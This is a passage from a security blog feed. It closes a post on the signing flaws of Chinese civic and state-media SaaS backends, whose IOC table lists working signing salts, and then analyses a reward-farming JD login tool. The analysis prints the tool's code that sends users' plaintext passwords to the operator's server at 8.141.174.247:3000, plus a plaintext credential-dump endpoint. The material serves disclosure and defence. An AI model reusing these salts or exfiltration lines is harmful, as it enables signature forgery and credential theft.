<h3 id="the-government-reward-program-answered-by-an-llm">The government reward program answered by an LLM</h3>

<p>The second branch: Three qltrojan scripts target <strong>Beijing municipal
social-services programs</strong>: 北京社服 96156, 北京社服活动, and 北京趣味多
(<code class="language-plaintext highlighter-rouge">bjhb</code> / <code class="language-plaintext highlighter-rouge">bjsfcks</code> / <code class="language-plaintext highlighter-rouge">bjqwdcks</code> env vars, <code class="language-plaintext highlighter-rouge">sfapi.bjsfxh.com</code> +
<code class="language-plaintext highlighter-rouge">qw-api.bjsfxh.com</code>, prizes vended by <code class="language-plaintext highlighter-rouge">ylapi.luckystarpay.com</code>). These run
civic education knowledge quizzes, questions about municipal services,
community participation, that sorta thing, with a cash lottery entries as the
reward for participation. The point of the program is to get citizens to
learn the material.</p>

<p>The script does not learn the material. It reads the current question off
the API, wraps it in one line, and asks an LLM for the answer. Then it
submits the answer, moves to the next question, and at the end of the
quiz it claims the lottery draw. Five exams per activity, twenty
questions each, one letter back per question. The whole loop is around a
hundred and fifty lines of Python.</p>

<p>The LLM is <strong>Xunfei Spark</strong>, iFlytek’s flagship model
(<code class="language-plaintext highlighter-rouge">spark-api-open.xf-yun.com</code>) which is a Chinese national-champion AI product,
some of whose corporate structure sits inside the state ecosystem, meaning that
it might be trained on these quizzes themselves! The farmer’s script even points
buyers at the official Spark signup portal in a comment on line 2, “get your
own API key here.”</p>

<p>The system prompt is <em>“你是知识渊博的助理”</em> — “you are a knowledgeable
assistant.” The user message is <code class="language-plaintext highlighter-rouge">f"{question}；请给出答案，只要字母"</code> —
“give the answer, only the letter.” The model is set to <code class="language-plaintext highlighter-rouge">"lite"</code>, the
cheapest tier in the family. And because Spark sometimes wraps its
answer in extra prose, the script backs itself with a regex:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">'[A-D]'</span><span class="p">,</span> <span class="n">result</span><span class="p">)</span>
</code></pre></div></div>

<p>Grab the first uppercase A–D you see and submit it. The comment on the
line above reads <em>“使用正则表达式提取第一个大写字母，答题专用”</em> — “use
regex to extract the first uppercase letter, quiz-specific.” The
operator wrote the helper and labelled it as the quiz-answering path.</p>

<p>So: a Chinese municipal civic-education reward program, whose whole point
is teaching a bit of civic knowledge, is being answered by a cheap Chinese
LLM operated by a state aligned AI vendor, for cash paid out of a lottery
platform, on behalf of ten plus accounts per operator on cron. Nobody in
that chain is doing what they think theyre doing. The program thinks
it’s teaching residents. The AI vendor thinks it’s selling an assistant.
The lottery platform thinks it’s rewarding engaged citizens. Only the
farmer is being honest about what’s happening. Doing this to a government
reward program in China is, and I say this carefully, a scary thing to
do.</p>

<hr />

<h2 id="where-it-stops">Where it stops</h2>

<p>The honest limits, because they matter more here than usual.</p>

<p>Whether tmuyun and aihoge are one vendor, a license, or a shared white-label
SDK is unknown.</p>

<p>The links from the sealed <strong>ev2</strong> payloads (the DRM story from
<a href="/security/2026/06/23/the-wool-drm/">part 1</a> and
<a href="/security/2026/06/23/the-great-rust-wall/">part 2</a>) into these civic
providers are low-confidence. The one strong twin is ev2 <code class="language-plaintext highlighter-rouge">yuecheng</code> ↔
今日越城, whose plaintext qltrojan client (<code class="language-plaintext highlighter-rouge">YueCheng.js</code>) is an exact
match. I do <strong>not</strong> claim the other ev2 scripts run on these providers,
and where I’ve named specific state-media outlets from filenames alone
(<code class="language-plaintext highlighter-rouge">xinhuamm</code>, <code class="language-plaintext highlighter-rouge">xiangshan</code>, <code class="language-plaintext highlighter-rouge">yongpai</code>) those are guesses. <code class="language-plaintext highlighter-rouge">yongpai</code> in
particular had its old endpoint inventory disproven once already; I’m
being careful with it.</p>

<p>And the whole signing story is reconstructed from the farmers’ plaintext
twin scripts. Not from an account, not from touching the live APIs. I
never logged in, and the “the member data behind the campaigns” claim
follows from the account APIs sharing the forgeable signing scheme — it’s
an inference from the code, not something I exercised.</p>

<hr />

<h2 id="iocs">IOCs</h2>

<p>SaaS fingerprint and hosts below. Salts, RSA pubkey, and field orders are
all in the post — they’re already in five plaintext GitHub repos, and
holding them here helps nobody. I’m still not shipping a turn-key signer,
because “you can read the recipe” and “here’s a bag of pre-mixed
ingredients pointed at production” are not the same thing.</p>

<table>
  <thead>
    <tr>
      <th>Indicator</th>
      <th>Role</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">passport.tmuyun.com</code>, <code class="language-plaintext highlighter-rouge">vapp.tmuyun.com</code>, <code class="language-plaintext highlighter-rouge">app.tmuyun.com</code></td>
      <td>tmuyun account/content SaaS</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">m.aihoge.com</code>, <code class="language-plaintext highlighter-rouge">xingyun.aihoge.com</code></td>
      <td>aihoge activity SaaS</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">op-api.cloud.jinhua.com.cn</code>, <code class="language-plaintext highlighter-rouge">op-h5.cloud.jinhua.com.cn</code></td>
      <td>jinhua quiz/wheel SaaS</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">*.activity-42.m.duiba.com.cn</code></td>
      <td>Duiba lottery SaaS</td>
    </tr>
    <tr>
      <td>SSO path <code class="language-plaintext highlighter-rouge">/api/zbtxz/</code>, <code class="language-plaintext highlighter-rouge">xsb_&lt;region&gt;</code> codes, <code class="language-plaintext highlighter-rouge">X-DEVICE-SIGN: xsb_*</code></td>
      <td>tmuyun/aihoge shared-base fingerprint</td>
    </tr>
    <tr>
      <td>GET-sign field order <code class="language-plaintext highlighter-rouge">path&amp;&amp;sessionId&amp;&amp;uuid&amp;&amp;time&amp;&amp;salt&amp;&amp;tenantId</code>; salt <code class="language-plaintext highlighter-rouge">FR*r!isE5W</code></td>
      <td>forgeable signature (tmuyun/aihoge shared)</td>
    </tr>
    <tr>
      <td>aihoge member-signature salt <code class="language-plaintext highlighter-rouge">KO&gt;N&lt;O5&amp;3^L1#YH0H1#G91*2H</code></td>
      <td>aihoge <code class="language-plaintext highlighter-rouge">/memberhy/tm/signature</code></td>
    </tr>
    <tr>
      <td>RSA-1024 login pubkey <code class="language-plaintext highlighter-rouge">MIGfMA0...AQAB</code></td>
      <td>transport encryption on <code class="language-plaintext highlighter-rouge">password</code>, not auth</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">GET /web/init?client_id=</code> serves <code class="language-plaintext highlighter-rouge">signature_key</code></td>
      <td>HMAC key served openly</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">sfapi.bjsfxh.com</code>, <code class="language-plaintext highlighter-rouge">qw-api.bjsfxh.com</code>, <code class="language-plaintext highlighter-rouge">ylapi.luckystarpay.com</code></td>
      <td>Beijing 96156 gov quiz + lottery</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">spark-api-open.xf-yun.com</code></td>
      <td>Xunfei Spark LLM — auto-answers gov quizzes</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">appnews.qingdaonews.com</code></td>
      <td>state-media engagement farming</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ddddocr.xzxxn7.live</code>, <code class="language-plaintext highlighter-rouge">@xzxxn777</code></td>
      <td>qltrojan OCR solver + operator handle</td>
    </tr>
  </tbody>
</table>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[Dozens of Chinese city, civic and state-media apps run their points-and-lottery campaigns on a handful of shared B2B SaaS backends. The signing that protects them uses a public salt and a key the server hands you on request. Here's the multi-tenant exposure — and why it's the more important story than any one app.]]></summary></entry><entry><title type="html">Farming the farmers: smallfawn’s JD login tool routes harvested credentials to their own server</title><link href="https://neurowinter.com/security/2026/06/29/farming-the-farmers/" rel="alternate" type="text/html" title="Farming the farmers: smallfawn’s JD login tool routes harvested credentials to their own server" /><published>2026-06-29T00:00:00+12:00</published><updated>2026-06-29T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/06/29/farming-the-farmers</id><content type="html" xml:base="https://neurowinter.com/security/2026/06/29/farming-the-farmers/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>smallfawn is one of the more advanced actors in this whole scene: 152 repos,
a 3,176-star script collection, and <code class="language-plaintext highlighter-rouge">decode_action</code>, the JS deobfuscator most
of the ecosystem relies on. This post is about the product they sell that
steals teh credentials from the people who buy it.</li>
  <li>They sell two “JD account and password login” tools to other reward farmers.
One of them, <code class="language-plaintext highlighter-rouge">JDLogin-Client</code>, cannot log a victim into JD without first
calling smallfawn’s own server, and it relays the harvested credentials
straight back to them. They farm the farmers.</li>
  <li>The password harvesting server is at <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code>. Every enrolled
account’s JD username and plaintext password are sent there in a GET query
string by the auto-renewal cron, three times a day (<code class="language-plaintext highlighter-rouge">cron.js:54</code>).</li>
  <li>Precise scope, because it matters: the interactive login path forwards the
username only (<code class="language-plaintext highlighter-rouge">express.js:41</code>). The plaintext password reaches smallfawn
through the cron job flow and through the default chat plugin, not on every
login.</li>
  <li>The second tool, dingdingdang, does not phone home to smallfawn. Its problem
is local: a plaintext credential store and a <code class="language-plaintext highlighter-rouge">/get?k=</code> endpoint that dumps
every account and password to anyone holding one shared key, documented in
the README as a feature.</li>
  <li>Collateral damage: a third party’s live secret is sitting in the tree. GAC
Motor’s (广汽) WeChat AppSecret (<code class="language-plaintext highlighter-rouge">f7b821...</code>) was committed in 2024 and never
removed, enough to mint WeChat OAuth tokens against GAC Motor’s own users.</li>
  <li>In fairness on timing: this tooling is dormant. <code class="language-plaintext highlighter-rouge">JDLogin-Client</code>,
<code class="language-plaintext highlighter-rouge">dingdingdang</code>, and <code class="language-plaintext highlighter-rouge">WoolWeb</code> haven’t been touched since late 2024. smallfawn
is still active in the scene, but development on these JD-login tools stopped
then, and I did not probe the backend to confirm it still collects today.</li>
  <li>If you ran a 京东账密登录 / 路灯 / 鹿登 login bot, treat your JD password as
compromised and rotate it now.</li>
</ul>

<hr />

<h2 id="terms-in-this-post">Terms in this post</h2>

<p>If you landed here mid-series, a quick orientation. The hub has the full glossary.</p>

<ul>
  <li><strong>JD / 京东</strong> is JD.com, one of China’s largest e commerce platforms. Think
Amazon of China. This is what was targeted.</li>
  <li><strong>CK / cookie</strong> is a captured app session credential. The unit reward-farmers
trade and resell. How exactly they get these I think is another story.</li>
  <li><strong>h5st</strong> is JD’s client side anti fraud request signature. You cannot
complete a JD login without a valid one, and that is the lever this whole
product turns on.</li>
  <li><strong>AppID / AppSecret</strong> are a WeChat mini-program’s server credentials. The
leaked GAC Motor pair is one of these.</li>
  <li><strong>cron</strong> is a scheduled task runner. Here it is the thing that fires the
password leak three times a day. The wool crew uses Qinglong as a web ui for
this sort of thing.</li>
  <li><strong>vm2</strong> is a Node sandbox library. The version bundled in smallfawn’s tooling
carries CVE-2023-29017, a known sandbox escape.</li>
</ul>

<hr />

<h2 id="background-the-most-capable-person-in-the-room">Background: the most capable person in the room</h2>

<p>Most of the actors in this scene are copying each other. Same apps, same
scripts, the odd file lifted word for word from the next account over. Same
targets. smallfawn is the exception. Of their 152 repos, 130 are forks, but the
22 original ones are the load-bearing parts of the whole ecosystem: a
133-script farming collection (<code class="language-plaintext highlighter-rouge">QLScriptPublic</code>, 3,176 stars, every script
CI-verified), a complete Go WeChat protocol server, and <code class="language-plaintext highlighter-rouge">decode_action</code>, the
JavaScript deobfuscator with over 1,300 forks that half the scene uses to
un hide each other’s scripts.</p>

<p>The person who wrote the tool everybody uses to make hidden code readable also
runs a covert credential harvesting campaign. They are, by some distance, the most
technically capable actor I found on the public GitHub accounts. That is
exactly what makes the next part worth writing down.</p>

<p>They are not shy about the infra, either. Three of their chatbot plugins poll a
printer over SNMP, watch a UPS over NUT (Network UPS Tools), and update
Cloudflare DNS with IP changes. This is a person running physical, co-located
infrastructure, not a kid with a free-tier VM.</p>

<p>One thing up front, so it does not get muddled with the last post: smallfawn
has nothing to do with the wyourname wool DRM. Their scripts ship as plaintext,
no loader, no C2-held key, no encryption to crack. Different operator,
different model. They just happen to be in the same scene.</p>

<hr />

<h2 id="two-products-two-trust-models">Two products, two trust models</h2>

<p>smallfawn sells JD logins under “京东账密登录协议版本”, and the shop and demo
hostnames are baked into the source: <code class="language-plaintext highlighter-rouge">smshop.back1.idcfengye.com</code> and
<code class="language-plaintext highlighter-rouge">smjd.back1.idcfengye.com</code>. Neither is smallfawn’s own server: both are
subdomains on idcfengye, a third-party reverse-tunnel (内网穿透) service in the
Sunny-Ngrok family (run by 深圳猿类科技有限公司, filing 粤ICP备14050499号) —
basically a Chinese ngrok-style service, one of several. smallfawn is just a
tenant, so the hostnames only point at their box while their tunnel client is
connected, which it wasn’t when I looked: either their tunnel was down, or this
is dead infra.</p>

<table>
  <thead>
    <tr>
      <th>Product</th>
      <th>Language / port</th>
      <th>Login method</th>
      <th>Where the credentials go</th>
      <th>Risk</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>JDLogin-Client</strong></td>
      <td>Node / 3000</td>
      <td>Direct JD API (<code class="language-plaintext highlighter-rouge">plogin.m.jd.com</code>)</td>
      <td>smallfawn’s servers: mandatory session-param server, cron password leak, default plugin host</td>
      <td>supply chain theft</td>
    </tr>
    <tr>
      <td><strong>dingdingdang</strong></td>
      <td>Python (Quart) / 12345</td>
      <td>Local headless Chromium</td>
      <td>Local <code class="language-plaintext highlighter-rouge">data.json</code>, exposed through an open <code class="language-plaintext highlighter-rouge">/get?k=</code></td>
      <td>High, local plaintext store and weak-key dump</td>
    </tr>
  </tbody>
</table>

<p>The rest of this post is mostly about the first one. The second one is a real
exposure, but it is just a shoddy code cleanlyness and defaults problem. The
first one is a design.</p>

<hr />

<h2 id="pillar-a-jdlogin-client-routes-credentials-to-smallfawn">Pillar A: JDLogin-Client routes credentials to smallfawn</h2>

<h3 id="you-cannot-log-in-without-smallfawns-server">You cannot log in without smallfawn’s server</h3>

<p><code class="language-plaintext highlighter-rouge">server/config.json:3</code> ships with the real default already filled in:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nl">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"卡密"</span><span class="p">,</span><span class="w"> </span><span class="nl">"server"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://8.141.174.247:3000"</span><span class="p">,</span><span class="w"> </span><span class="nl">"cron"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0 25 20,23,2 * * *"</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The actual POST to JD.com (<code class="language-plaintext highlighter-rouge">server/login.js:16-49</code>) needs a pile of anti-fraud
session parameters: <code class="language-plaintext highlighter-rouge">guid</code>, <code class="language-plaintext highlighter-rouge">lsid</code>, <code class="language-plaintext highlighter-rouge">lstoken</code>, <code class="language-plaintext highlighter-rouge">verifytoken</code>, the <code class="language-plaintext highlighter-rouge">h5st</code>
signature, and the <code class="language-plaintext highlighter-rouge">risk_jd</code> bundle of <code class="language-plaintext highlighter-rouge">eid</code>, <code class="language-plaintext highlighter-rouge">fp</code>, <code class="language-plaintext highlighter-rouge">token</code>, <code class="language-plaintext highlighter-rouge">jstub</code>. None of
that is generated on the buyer’s box. It is fetched from <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code>
over <code class="language-plaintext highlighter-rouge">/get</code> (<code class="language-plaintext highlighter-rouge">express.js:52</code>, <code class="language-plaintext highlighter-rouge">cron.js:59</code>), and the license key (<code class="language-plaintext highlighter-rouge">卡密</code>)
authenticates the buyer to that server (<code class="language-plaintext highlighter-rouge">express.js:95-103</code>). So the main anti
fraud breaking software, is hidden behind smallfawn’s servers.</p>

<p>That is the lock. Without smallfawn’s server vending the <code class="language-plaintext highlighter-rouge">h5st</code> and risk
tokens, the login cannot clear JD’s risk control, so it cannot complete at all.
Every operator who buys this tool is wired into smallfawn’s infrastructure just
to function. But note what actually has to cross their server: the username. The
<code class="language-plaintext highlighter-rouge">/get</code> that vends the tokens is username-only (<code class="language-plaintext highlighter-rouge">cron.js:59</code>; the interactive
<code class="language-plaintext highlighter-rouge">/api/set</code> is too, <code class="language-plaintext highlighter-rouge">express.js:41</code>). The password is never required to mint the
anti-fraud tokens — the tool works fine with username-only vending — so its
appearance in the cron <code class="language-plaintext highlighter-rouge">/set</code> (next section) isn’t a technical necessity. It’s
harvesting.</p>

<h3 id="the-cron-path-leaks-plaintext-passwords-three-times-a-day">The cron path leaks plaintext passwords, three times a day</h3>

<p><code class="language-plaintext highlighter-rouge">server/cron.js:53-54</code> renews expired <code class="language-plaintext highlighter-rouge">JD_COOKIE</code>s on a schedule, and it does
it like this:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">getJDCookies</span><span class="p">(</span><span class="nx">username</span><span class="p">,</span> <span class="nx">password</span><span class="p">,</span> <span class="nx">remark</span><span class="o">=</span><span class="dl">'</span><span class="s1">无备注</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="p">{</span> <span class="na">data</span><span class="p">:</span> <span class="nx">result</span> <span class="p">}</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">axios</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">server</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/set?key=</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">config</span><span class="p">.</span><span class="nx">key</span>
        <span class="o">+</span> <span class="dl">'</span><span class="s1">&amp;username=</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">username</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&amp;password=</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">password</span><span class="p">)</span>   <span class="c1">// -&gt; 8.141.174.247:3000</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">username</code> and the plaintext <code class="language-plaintext highlighter-rouge">password</code> are read out of the local
<code class="language-plaintext highlighter-rouge">user.json</code> (stored at login by <code class="language-plaintext highlighter-rouge">login.js:54-60</code>) and sent in the query string
to <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code>. The cron is <code class="language-plaintext highlighter-rouge">0 25 20,23,2 * * *</code>, Asia/Shanghai, so
this fires at 20:25, 23:25, and 02:25 every day, for every account the operator
has enrolled. Not the cookie. The phone number and the password, in cleartext,
in a URL. I think the timing on these things must have something to do with how
long the tokens are valid for after minting them.</p>

<h3 id="the-default-chat-plugin-sends-end-user-creds-to-smallfawns-demo-host">The default chat plugin sends end-user creds to smallfawn’s demo host</h3>

<p>There is a third path, and it is the one that reaches all the way down to the
end user. The shipped chat plugin, <code class="language-plaintext highlighter-rouge">ludeng.js</code> (路灯, “street lamp,” the bot
trigger users type), defaults its API host to smallfawn’s demo box:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">YourSMJDAPIUrl</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">http://smjd.back1.idcfengye.com</span><span class="dl">'</span>   <span class="c1">// smallfawn's host, the default</span>
<span class="p">...</span>
<span class="k">await</span> <span class="nx">axios</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">YourSMJDAPIUrl</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/api/get?username=</span><span class="dl">'</span> <span class="o">+</span> <span class="p">...</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&amp;password=</span><span class="dl">'</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">password</span><span class="p">)</span> <span class="o">+</span> <span class="p">...)</span>
</code></pre></div></div>

<p>Unless the operator edits that line, every user who types their JD phone and
password into the bot sends both, in the clear, straight to
<code class="language-plaintext highlighter-rouge">smjd.back1.idcfengye.com</code>. I am guessing most operators will not edit it. It
works out of the box, which is the point. Also it seems that a lot of the wool
community just relies on others creating good scripts, and they may not even
read them, if they did this sort of thing would not fly.</p>

<hr />

<h2 id="pillar-b-dingdingdang-keeps-it-local-and-leaves-the-door-open">Pillar B: dingdingdang keeps it local, and leaves the door open</h2>

<p>The second product is fairer to smallfawn as this does not appear to have
malicious intent, but still bad for everyone who runs it.</p>

<p>dingdingdang logs in with a local headless Chromium browser (<code class="language-plaintext highlighter-rouge">login.py</code>), and
its plugins default to <code class="language-plaintext highlighter-rouge">127.0.0.1:12345</code> (<code class="language-plaintext highlighter-rouge">GoDongGoCar_update.js:4</code>,
<code class="language-plaintext highlighter-rouge">sillygirl.js:12</code> these names are fun). There is no <code class="language-plaintext highlighter-rouge">8.141.174.247</code> in the
loop. It does not phone home to smallfawn. I want to be clear about that,
because when I first saw this I just assumed that this was in the same class as
the jd.com credential theft, however that was lazy of me. I dont want you to
make the same mistake as me. Trust your intuition, but always validate.</p>

<p>What it does instead is keep a plaintext credential store and then publish a
key to it. <code class="language-plaintext highlighter-rouge">docker/api.py:169-185</code> writes each account to a volume-mounted
<code class="language-plaintext highlighter-rouge">data.json</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">account_data</span> <span class="o">=</span> <span class="p">{</span> <span class="s">"account"</span><span class="p">:</span> <span class="p">...,</span> <span class="s">"password"</span><span class="p">:</span> <span class="n">workList</span><span class="p">[</span><span class="n">uid</span><span class="p">].</span><span class="n">password</span><span class="p">,</span> <span class="s">"ptpin"</span><span class="p">:</span> <span class="p">...,</span> <span class="s">"remarks"</span><span class="p">:</span> <span class="p">...,</span> <span class="s">"wxpusherUid"</span><span class="p">:</span> <span class="s">""</span> <span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">password</code> is plaintext. And <code class="language-plaintext highlighter-rouge">docker/api.py:289-305</code> hands the whole file back
to anyone with one shared key:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/get"</span><span class="p">)</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">get_data</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"k"</span><span class="p">)</span> <span class="o">==</span> <span class="n">config</span><span class="p">[</span><span class="s">"key"</span><span class="p">]:</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">(</span><span class="n">load_from_file</span><span class="p">(</span><span class="s">"data.json"</span><span class="p">))</span>   <span class="c1"># the entire plaintext store
</span></code></pre></div></div>

<p>One key, no rate limit, no per-user scoping. Guess or leak the key once and you
have every enrolled account, password, and <code class="language-plaintext highlighter-rouge">ptpin</code> in the store. This is not a
bug they overlooked. The README lists it as a feature: <code class="language-plaintext highlighter-rouge">获取账密 备注 ptpin信息
/get?k=密钥</code>, “fetch account-password, remarks, and ptpin info.” The
recommendation is a 16-character key “to protect your account and password
information.” There is no server-side enforcement of that, of course.</p>

<hr />

<h2 id="the-git-history-that-proves-the-server-is-real">The git history that proves the server is real</h2>

<p>A skeptical reader should be asking whether <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code> is a real
backend or a placeholder somebody forgot to fill in. The git history settles
it, and it does so because smallfawn made the same mistake everyone in this
scene makes.</p>

<p>The first commit of JDLogin-Client, <code class="language-plaintext highlighter-rouge">9df41a2</code> on 10 November 2024, shipped
<code class="language-plaintext highlighter-rouge">config.json</code> with a real license key in place:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nl">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"HASL1"</span><span class="p">,</span><span class="w"> </span><span class="nl">"server"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://8.141.174.247:3000"</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The next day, commit <code class="language-plaintext highlighter-rouge">e98c5aa</code>, both were scrubbed to placeholders (<code class="language-plaintext highlighter-rouge">KEY</code>,
<code class="language-plaintext highlighter-rouge">APIURL</code>). The day after that, commit <code class="language-plaintext highlighter-rouge">fd5c0df</code>, the server address was quietly
added back while the key stayed as <code class="language-plaintext highlighter-rouge">卡密</code> (Access Code). You do not scrub, then
re-add a placeholder. <code class="language-plaintext highlighter-rouge">HASL1</code> was a working shared secret that sat in public for
about a day, and the IP it sat next to is the real backend.</p>

<p>That scrub is also a preview of the next post in this series. Everyone here
scrubs git history, smallfawn, qltrojan, leafTheFish, all of them, usually with
the same orphan branch trick (I will write up how this works at some point).
The scrub is meant to remove the evidence. More often it marks exactly where
the evidence was. Also things can be missed when doing this.</p>

<hr />

<h2 id="collateral-a-third-partys-wechat-keys">Collateral: a third party’s WeChat keys</h2>

<p>The blast radius is not limited to JD. While reading the WoolWeb panel I found
<code class="language-plaintext highlighter-rouge">server/data_gac.json</code>, committed once on 9 October 2024 (<code class="language-plaintext highlighter-rouge">783550a</code>) and never
touched again. It holds a live credential set for a company that has nothing to
do with any of this: GAC Motor (广汽), the car manufacturer.</p>

<ul>
  <li>WeChat AppID <code class="language-plaintext highlighter-rouge">wx55d651b24ca783fa</code></li>
  <li>WeChat AppSecret <code class="language-plaintext highlighter-rouge">f7b821...</code> (redacted here)</li>
  <li>a full <code class="language-plaintext highlighter-rouge">accessToken</code> and <code class="language-plaintext highlighter-rouge">sdkTicket</code>, both now stale</li>
</ul>

<p>The tokens expire. The AppSecret does not. As long as it stands, anyone who can
read this file can mint fresh WeChat OAuth tokens against GAC Motor’s
mini program and impersonate the users who authenticated through it. That is a
clean third-party disclosure item, unrelated to the JD pipeline, sitting in a
public repo since 2024.</p>

<hr />

<h2 id="the-wider-arsenal">The wider arsenal</h2>

<p>This is not the whole operation, it is one corner of it. A quick look at the
rest, because each one rounds out the picture of what this operator can do.</p>

<ul>
  <li><strong>docker-wx</strong> is a complete Go implementation of the WeChat iPad protocol,
145 API endpoints, bundled with the <code class="language-plaintext highlighter-rouge">855协议.zip</code> protocol source and stamped
<code class="language-plaintext highlighter-rouge">仅限集团内部使用,请勿对外</code>, “internal use only, do not expose.” It is a full
WeChat account-takeover server.</li>
  <li><strong>rs-reverse</strong> is a 26 MB, 3,450-file framework for bypassing Ruishu
(瑞数), the VMP (Virtual Machine Protection) based bot detection that guards
China Telecom and a lot of banks. This is professional reverse engineering
work.</li>
  <li><strong>XianYuApis</strong> reverses the full Goofish (闲鱼) marketplace API and bolts a
WebSocket auto-reply bot onto it, so farmed goods can be listed and
haggled over at scale with no human in the loop.</li>
  <li><strong>VirtualApp</strong> is the device ID rotation layer: run many instances of one
app, each with a different fake device fingerprint, to beat the single-device
limits farming runs into. Think of this as using a tonne of valid user
agents.</li>
  <li><strong>decode_action</strong>, the deobfuscator the whole scene depends on, ships
<code class="language-plaintext highlighter-rouge">vm2@^3.9.11</code> as a dependency, and that version carries
CVE-2023-29017, a sandbox escape. The directional risk is real: run
<code class="language-plaintext highlighter-rouge">decode_action</code> on a malicious obfuscated script and that escape is in play —
the deobfuscator the whole scene trusts is itself an attack surface. I’m not
asserting smallfawn did this on purpose; the exposure stands either way.</li>
</ul>

<p>The basic flow: reverse the protections, sign the requests, rotate the
devices, automate the chat, sell the goods. That is an integrated fraud
platform, and the JD login tool is the part that also taxes its own users.</p>

<hr />

<h2 id="the-limits-of-my-engagement-and-this-report">The limits of my engagement, and this report.</h2>

<p>The honest limits, because they matter more here than usual.</p>

<p>All of this code has been dormant since 2024, smallfawn is still active in the
scene, but work on these tools stopped at the end of 2024.</p>

<p>Everything above is read out of public source at file and line. I did not send
anything to <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code>, I did not probe it, and I did not watch a
single packet leave a real install. Naming a sink is not the same as
poking it, and I stayed on the safe side of that line. The claim “smallfawn
receives the credentials” is an inference from explicit code paths, the GET to
their server is right there in <code class="language-plaintext highlighter-rouge">cron.js:54</code>, but I am inferring the server stores
what it is handed, not proving it from traffic.</p>

<p>And I do not know who smallfawn is. The handle, the repos, the QQ group, the
shop, those are real and public. The person behind them is unconfirmed, and
this post does not try to change that. I am reporting a mechanism and a
sink, not a name.</p>

<hr />

<h2 id="disclosure">Disclosure</h2>

<p>This one has real victims and a credential sink, so it went to the vendors first:
reported to JD.com and GAC Motor on 24 June 2026, ahead of publication.</p>

<ul>
  <li><strong>JD.com security.</strong> <code class="language-plaintext highlighter-rouge">8.141.174.247:3000</code> is a credential relay tied to
automation against <code class="language-plaintext highlighter-rouge">plogin.m.jd.com/cgi-bin/mm/domlogin</code>. The abuse primitive
worth their attention is the <code class="language-plaintext highlighter-rouge">h5st</code> and risk-token vending, that is the thing
that lets a third party clear JD’s risk control on behalf of a paying
operator base.</li>
  <li><strong>GAC Motor (广汽).</strong> Rotate WeChat AppSecret <code class="language-plaintext highlighter-rouge">f7b821...</code>. It has been public
in <code class="language-plaintext highlighter-rouge">WoolWeb/server/data_gac.json</code> since October 2024 and is enough to
impersonate their WeChat users.</li>
  <li><strong>End users.</strong> Anyone who used a 京东账密登录, 路灯, or 鹿登 login bot should
treat their JD password as compromised and rotate it.</li>
</ul>

<hr />

<h2 id="iocs">IOCs</h2>

<p>The GAC AppSecret is redacted until it is confirmed rotated. Everything else is
smallfawn’s own infrastructure.</p>

<table>
  <thead>
    <tr>
      <th>Indicator</th>
      <th>Role</th>
      <th>Evidence</th>
    </tr>
  </thead>
  <tbody>
    <tr>
